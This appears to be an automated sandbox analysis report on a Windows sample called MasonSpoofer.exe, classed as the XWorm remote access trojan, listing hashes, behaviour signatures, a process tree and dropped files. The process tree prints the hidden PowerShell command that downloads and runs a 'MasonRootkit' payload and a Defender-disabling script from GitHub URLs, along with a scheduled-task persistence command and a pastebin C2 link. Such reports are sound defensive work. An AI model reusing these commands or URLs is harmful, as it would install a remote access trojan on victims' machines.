Overview

overview

10

Static

static

10

MasonSpoofer.exe

windows7-x64

MasonSpoofer.exe

windows10-2004-x64

Analysis

  • max time kernel
    42s
  • max time network
    43s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2025, 16:01

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    MasonSpoofer.exe

  • Size

    54KB

  • MD5

    4d0c7560ec5c28a513a9fde9838547e8

  • SHA1

    66393d9c9e6b3a9f4d38b6bc9161d28e7a7b2ffd

  • SHA256

    eed83e7510bd8497fad0f0b65455e8afa0531b9833357ad75934ff8df0a7896a

  • SHA512

    77df7c7dcd8a29cc8c83c074902e90f0f3ade77ca726ef33c543c8877112f5f5ea424ff003d720f3ddc9ec8683d712dcc9760b9e22b89fcfaa5f5ea2409fac11

  • SSDEEP

    1536:vi5XmXObBvFn2TzqbLho8I/HusbOznuf:vcvF2SbLhu/HusbOzuf

Score
10/10
xwormdefense_evasionexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • install_file

    svchost.exe

  • pastebin_url

    https://pastebin.com/raw/J42c6s7r

Signatures

  • Detect Xworm Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 24 IoCs
  • Modifies registry class 7 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    PID:612
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
        PID:60
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{c60c1142-e01f-4f86-96e6-3c803a457320}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4524
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa396e855 /state1:0x41c64e6d
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:5208
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:676
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:960
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
        1⤵
          PID:744
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:872
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1076
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1092
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Suspicious use of UnmapMainImage
                PID:1204
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:3100
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                  1⤵
                  • Indicator Removal: Clear Windows Event Logs
                  PID:1248
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                  1⤵
                    PID:1300
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1312
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1348
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                        1⤵
                          PID:1488
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                          1⤵
                            PID:1508
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                            1⤵
                              PID:1520
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1556
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:3016
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                  1⤵
                                    PID:1664
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                    1⤵
                                      PID:1688
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1748
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                        1⤵
                                          PID:1804
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1836
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1912
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1924
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                1⤵
                                                  PID:1980
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:2004
                                                  • C:\Windows\System32\spoolsv.exe
                                                    C:\Windows\System32\spoolsv.exe
                                                    1⤵
                                                      PID:1736
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                      1⤵
                                                        PID:2080
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                        1⤵
                                                          PID:2276
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                          1⤵
                                                            PID:2340
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2356
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                              1⤵
                                                                PID:2400
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2444
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                1⤵
                                                                  PID:2524
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2536
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2572
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2604
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:3040
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:780
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3184
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3364
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Modifies registry class
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                • Suspicious use of SendNotifyMessage
                                                                                PID:3452
                                                                                • C:\Users\Admin\AppData\Local\Temp\MasonSpoofer.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\MasonSpoofer.exe"
                                                                                  2⤵
                                                                                  • Checks computer location settings
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1164
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                    3⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Downloads MZ/PE file
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4344
                                                                                    • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                      4⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:3604
                                                                                      • C:\ProgramData\MasonRootkit.exe
                                                                                        "C:\ProgramData\MasonRootkit.exe"
                                                                                        5⤵
                                                                                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetThreadContext
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3432
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB110.tmp.bat""
                                                                                        5⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:1396
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          6⤵
                                                                                            PID:1128
                                                                                          • C:\Windows\system32\timeout.exe
                                                                                            timeout 3
                                                                                            6⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:4948
                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonSpoofer" /tr "C:\Users\Admin\AppData\Roaming\MasonSpoofer.exe"
                                                                                      3⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:3084
                                                                                    • C:\Windows\SYSTEM32\shutdown.exe
                                                                                      shutdown.exe /f /s /t 0
                                                                                      3⤵
                                                                                        PID:2636
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3632
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3816
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:4060
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:3468
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                            1⤵
                                                                                              PID:4640
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                              1⤵
                                                                                                PID:4360
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                1⤵
                                                                                                  PID:876
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                    PID:3620
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                    1⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:4520
                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:1844
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                      1⤵
                                                                                                        PID:1796
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                        1⤵
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:2772
                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                        1⤵
                                                                                                          PID:3872
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                          1⤵
                                                                                                            PID:4780
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:1036
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                              • Modifies registry class
                                                                                                              PID:3592
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:3832
                                                                                                              • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                C:\Windows\System32\WaaSMedicAgent.exe 3606e16e6dcb0480487b4cfb4c096285 5Hjqkfe/WEG7bMPRiOjckQ.0.1.0.0.0
                                                                                                                1⤵
                                                                                                                • Sets service image path in registry
                                                                                                                PID:3024
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  2⤵
                                                                                                                    PID:3144
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                  1⤵
                                                                                                                  • Drops file in Windows directory
                                                                                                                  PID:2508
                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks BIOS information in registry
                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                  • Enumerates system info in registry
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:1212
                                                                                                                • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  1⤵
                                                                                                                    PID:3772
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                    1⤵
                                                                                                                      PID:6052
                                                                                                                    • C:\Windows\System32\mousocoreworker.exe
                                                                                                                      C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                      • Checks processor information in registry
                                                                                                                      • Enumerates system info in registry
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      PID:6104
                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:5868

                                                                                                                      Network

                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                      Replay Monitor

                                                                                                                      Loading Replay Monitor...

                                                                                                                      Downloads

                                                                                                                      • C:\ProgramData\MasonRootkit.exe
                                                                                                                        Filesize

                                                                                                                        596KB

                                                                                                                        MD5

                                                                                                                        bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                        SHA1

                                                                                                                        1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                        SHA256

                                                                                                                        8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                        SHA512

                                                                                                                        2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log
                                                                                                                        Filesize

                                                                                                                        1KB

                                                                                                                        MD5

                                                                                                                        3982d6d16fd43ae609fd495bb33433a2

                                                                                                                        SHA1

                                                                                                                        6c33cd681fdfd9a844a3128602455a768e348765

                                                                                                                        SHA256

                                                                                                                        9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

                                                                                                                        SHA512

                                                                                                                        4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                                                        Filesize

                                                                                                                        612KB

                                                                                                                        MD5

                                                                                                                        5e1eb1a67d40ccae40dee2a037ca6c64

                                                                                                                        SHA1

                                                                                                                        786b54d3d451ea40faeeb20fd30a38744862eeb5

                                                                                                                        SHA256

                                                                                                                        80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

                                                                                                                        SHA512

                                                                                                                        0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdxszoi3.ong.ps1
                                                                                                                        Filesize

                                                                                                                        60B

                                                                                                                        MD5

                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                        SHA1

                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                        SHA256

                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                        SHA512

                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                        Download Submit

                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\tmpB110.tmp.bat
                                                                                                                        Filesize

                                                                                                                        164B

                                                                                                                        MD5

                                                                                                                        1807f704344773a1d64395382923a828

                                                                                                                        SHA1

                                                                                                                        d3d50ec6d0af56ed8e905c356799f2cf58a4aa48

                                                                                                                        SHA256

                                                                                                                        d332ddf8a69d21a17df83277b9c455335bd8d4ee93f7711c5d682de08270b540

                                                                                                                        SHA512

                                                                                                                        e97990ec8c15f2813da621613df7a7d6e45d8f91cf0750f7f521da2956900e5e6dd10d003a5a75cdaabf3cbdb9ef4c403d8ac4975eb7f9f6ecda53dbbbd2dd63

                                                                                                                        Download Submit

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                        SHA1

                                                                                                                        a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                        SHA256

                                                                                                                        98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                        SHA512

                                                                                                                        1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                        Download Submit

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                        SHA1

                                                                                                                        63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                        SHA256

                                                                                                                        727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                        SHA512

                                                                                                                        f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                        Download Submit

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                        SHA1

                                                                                                                        5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                        SHA256

                                                                                                                        55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                        SHA512

                                                                                                                        5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                        Download Submit

                                                                                                                      • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        0b990e24f1e839462c0ac35fef1d119e

                                                                                                                        SHA1

                                                                                                                        9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                        SHA256

                                                                                                                        a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                        SHA512

                                                                                                                        c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                        Download Submit

                                                                                                                      • memory/60-86-0x000002110B3F0000-0x000002110B5AB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/60-84-0x000002110B3F0000-0x000002110B5AB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/60-85-0x000002110B3F0000-0x000002110B5AB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/60-87-0x00007FFB57A90000-0x00007FFB57AA0000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                        Download

                                                                                                                      • memory/60-82-0x000002110B3F0000-0x000002110B5AB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/60-83-0x000002110B3F0000-0x000002110B5AB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/612-64-0x000001DE69330000-0x000001DE694EB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/612-69-0x00007FFB57A90000-0x00007FFB57AA0000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                        Download

                                                                                                                      • memory/612-68-0x000001DE69330000-0x000001DE694EB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/612-67-0x000001DE69330000-0x000001DE694EB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/612-66-0x000001DE69330000-0x000001DE694EB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/612-63-0x000001DE67760000-0x000001DE6789E000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.2MB

                                                                                                                        Download

                                                                                                                      • memory/612-65-0x000001DE69330000-0x000001DE694EB000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/676-73-0x00000144A43E0000-0x00000144A459B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/676-74-0x00000144A43E0000-0x00000144A459B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/676-75-0x00000144A43E0000-0x00000144A459B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/676-72-0x00000144A43E0000-0x00000144A459B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/676-76-0x00000144A43E0000-0x00000144A459B000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        1.7MB

                                                                                                                        Download

                                                                                                                      • memory/676-77-0x00007FFB57A90000-0x00007FFB57AA0000-memory.dmp

                                                                                                                        Filesize

                                                                                                                        64KB

                                                                                                                        Download

